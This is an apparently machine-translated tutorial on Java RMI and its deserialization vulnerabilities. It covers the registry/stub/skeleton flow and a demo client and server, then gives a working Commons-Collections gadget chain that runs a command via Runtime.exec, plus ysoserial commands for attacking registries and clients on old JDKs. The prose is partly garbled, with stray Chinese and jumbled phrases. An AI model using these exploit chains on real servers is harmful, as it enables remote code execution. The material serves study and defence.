RMI
RMI(Remote Method Invocation)
That is, Java
remote method invocation, which RMI
is used to build distributed applications, similar to RPC(Remote Procedure Call Protocol)远程过程调用协议
that RMI
implements remote communication Java
across programs , so that an object on one can call a method on another (the method is executed on the remote and just returns the running result) . The two can be in different processes running on the same computer, or in different computers on the network.JVM
JMV
JMV
JVM
JVM
RMI Architecture:
RMI is divided into three main parts: Client, Server, and Registry.
In the lower version of the JDK, the Server and the Registry can not be on the same server, but in the higher version of the JDK, the Server and the Registry can only be on one server, otherwise the registration cannot be successful.
In this article, both Server and Registry are on the server side .
Registry
The translation is the registry. In fact, it is essentially a map (hashtable), which registers many binding relationships between Names and objects, which are used by the client to query the reference of the method to be called. registry
The function is like, the patient (client) registers before seeing a doctor (obtains the IP, port, identifier of the remote object), and knows which outpatient room the doctor (server) is in before seeing a doctor (executes the remote method).
RMI
The underlying communication uses the Stub(运行在客户端)
sum Skeleton(运行在服务端)
mechanism, and the RMI
call to the remote method is roughly as follows:
The whole process will be TCP
connected twice. The first time is to Client
get the Name and object, and the 绑定关系
second time is to connect Server
and call the remote method.
The first TCP :
RMI客户端
It is created first when calling a remote methodStub(sun.rmi.registry.RegistryImpl_Stub)
.
Stub
willRemote
pass an object to远程引用层(java.rmi.server.RemoteRef)
and create anjava.rmi.server.RemoteCall(远程调用)
object.
RemoteCall
SerializationRMI服务名称
,Remote
Object.
RMI客户端
The serialized request information is远程引用层
transmitted through the connection .RemoteCall
Socket
RMI服务端
远程引用层
RMI服务端
The远程引用层(sun.rmi.server.UnicastServerRef)
received request will be passed the request toSkeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
.
Skeleton
CallRemoteCall
deserialize the serializationRMI客户端
passed in.
Skeleton
Handle client requests:bind
,list
,lookup
,rebind
,unbind
, iflookup
so, findRMI服务名
the bound interface object, serialize the object, and passRemoteCall
it to the client.Second TCP:
RMI客户端
Deserialize the server-side result to get a reference to the remote object.
RMI客户端
Call the remote method,RMI服务端
reflectRMI服务实现类
the corresponding method called and serialize the execution result and return it to the client.
RMI客户端
Deserialize theRMI
remote method call result.
For detailed calling process reference: https://blog.csdn.net/qsort_/article/details/104861625
https://www.cnblogs.com/yyhuni/p/15091121.html#registryimpl_stubbind
It is recommended to debug it before reading the deserialization in the second part, and I will not repeat it here.
The following provides a simplest RMI demo:
Server
package RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMI_Server{
public interface RMIHelloInterface extends Remote {
String hello() throws RemoteException;
}
public class RMIHelloWorld extends UnicastRemoteObject implements RMIHelloInterface{
protected RMIHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
return "Hello RMI~";
}
}
private void start() throws Exception{
//System.setProperty("java.rmi.server.hostname","vpsip");
//RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
LocateRegistry.createRegistry(7999);
RMIHelloWorld h = new RMIHelloWorld();
//不用bind是防止测试的时候重复绑定导致失败
Naming.rebind("rmi://localhost:7999/hello",h);
}
public static void main(String[] args) throws Exception {
new RMI_Server().start();
}
}
Client
package RMI;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMI_Client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
RMI_Server.RMIHelloInterface hello = (RMI_Server.RMIHelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
String ret = hello.hello();
System.out.println(ret);
}
}
Naming in the code is just a tool class that encapsulates the registry operation.
Naming.rebind("//host/objName", myObj);
//而使用Registry,需要注册表对象上的现有句柄
Registry registry = LocateRegistry.getRegistry("host");
registry.rebind("objName", myObj);
However, the server is generally on the vps of the public network, and the hostname is different from the public network IP. It needs to be added at the beginning of the hello method of the server.
System.setProperty("java.rmi.server.hostname","所部属的服务器公网Ip地址");
Set the server IP variable to the system global variable - the hostname of java rmi, which allows the client to connect to the server.
When the client program requests an object from the server, the returned stub object contains the server's hostname
, and the client's subsequent operations connect to the server according to this hostname. In the server, it is usually the IP address of the intranet. If DHCP is enabled in the VM virtual machine, it 127.0.1.1 newFQDN newHostname
will cause a second TCP request to connect to the RMIServer.
You must also specify the communication port (second TCP) to prevent interception by the firewall, which must be called before registering the port
RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
CustomerSocketFactory类:
package RMI;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.RMISocketFactory;
public class CustomerSocketFactory extends RMISocketFactory {
@Override
public Socket createSocket(String host, int port) throws IOException {
return new Socket(host, port);
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
if (port == 0) {
port = 7777;
}
System.out.println("rmi notify port:" + port);
return new ServerSocket(port);
}
}
These two sentences must be at the top. When I started testing, I put the instantiation of the class that defines the remote function at the top, but I kept getting an error and couldn't connect, and the specified communication port didn't work either.
RMI deserialization vulnerability
RMI
All objects in the communication are transmitted through Java serialization ( 客户端序列化,服务端反序列化
), and there will be a readObject operation. If a malicious object is constructed on the server, the object will be serialized and transmitted to the RMIServer
end, and the RMIServer
end will be de-serialized when it is deserialized. Will trigger a deserialization vulnerability.
The existence of an RMI deserialization vulnerability must meet two conditions:
- RMI communication
- The target server references a third-party jar package with deserialization vulnerability (eg: commons-collections.jar 3.1)
The test environment also needs to be noted that the following versions have been repaired through the JEP290 mechanism,
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
This article is based on the jdk1.7.0_80 version for testing.
Since it is a deserialization vulnerability, you must first find the location of readObject. Analyzing the process of RMI communication, it can be found that the serialization operation mainly occurs in Registry
the process of communication with: that is, the bind / lookup
operation
If you go to dynamically debug the calling process, you can see that the server createRegistry
method obtains the RegistryImpl
object, and the getRegistry
method obtains the RegistryImpl_Stub
object.
Regardless of whether it is a commonly used method on the Server bind/rebind
or a commonly used method on the Client, the lookup
methods above will finally handle 服务端
the RegistryImpl_Skel#dispatch
methods corresponding to different objects, and all five methods can be called on the Server/Client.
var3 is an array of int type, corresponding to
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
You can see that both bind/rebind exist .readObject()
, among which is the malicious serialized object var8
we passed in.RMIExploit
Remote
lookup also has.readObject()
At this time, go back and look at the RMI interaction process:
Client
It can be called and triggered Registry
when communicating with the Registry, then you can attack the Registry (server); in addition to returning serialized data, it must be deserialized when it arrives at the client. If a malicious server is forged to allow the connection, The right attack can be achieved .bind&rebind / lookup
readObject()
unbind&rebind
Registry
Client
Client
Attack the server:
bind&rebind
Modify the client code to:
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;
public class RMI_Client {
public static void main(String[] args) throws Exception {
try {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc.exe"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn", badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMI_Client.class.getClassLoader(), new Class[]{
Remote.class}, invocationHandler));
Naming.rebind("rmi://localhost:7999/hello",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
In fact, the gadget uses the proxy Remote class and sends it to the Registry through bind
This attack method has been implemented in ysoserial. Configure a CommonsCollections3.1 in the project, then start an RMI Registry, and then run:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "calc.exe"
lookup
Exploit by forging connection requests, modify the lookup method code so that it can pass in the object: https://xz.aliyun.com/t/9053#toc-0
Attack client:
Forge a malicious RMI Registry using ysoserial's JRMPListener:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7999 CommonsCollections1 'calc.exe'
In addition, there are cases where the remote method is called to pass the parameter Object, the remote method returns an Object, etc., as well as the bypass of JEP290. The following articles have been sorted out in detail:
https://xz.aliyun.com/t/9053
https://www.anquanke.com/post/id/263726
https://paper.seebug.org/1194
Summarize
RMI data transmission is based on serialized data transmission, so RMI Registry, Client, and Server can attack each other. The bypass of JEP290 mainly uses the classes in the whitelist class of the RMI filter to bypass the deserialization. In addition, the low version version also uses codebase to attack.